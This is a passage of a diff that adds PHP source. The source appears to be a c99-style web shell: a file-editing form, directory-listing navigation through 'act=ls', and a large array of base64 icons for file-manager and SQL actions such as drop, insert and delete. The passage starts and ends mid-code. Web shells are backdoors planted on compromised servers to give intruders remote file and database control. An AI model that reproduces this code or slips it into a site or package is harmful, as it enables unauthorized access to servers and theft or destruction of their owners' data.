onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", + +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". 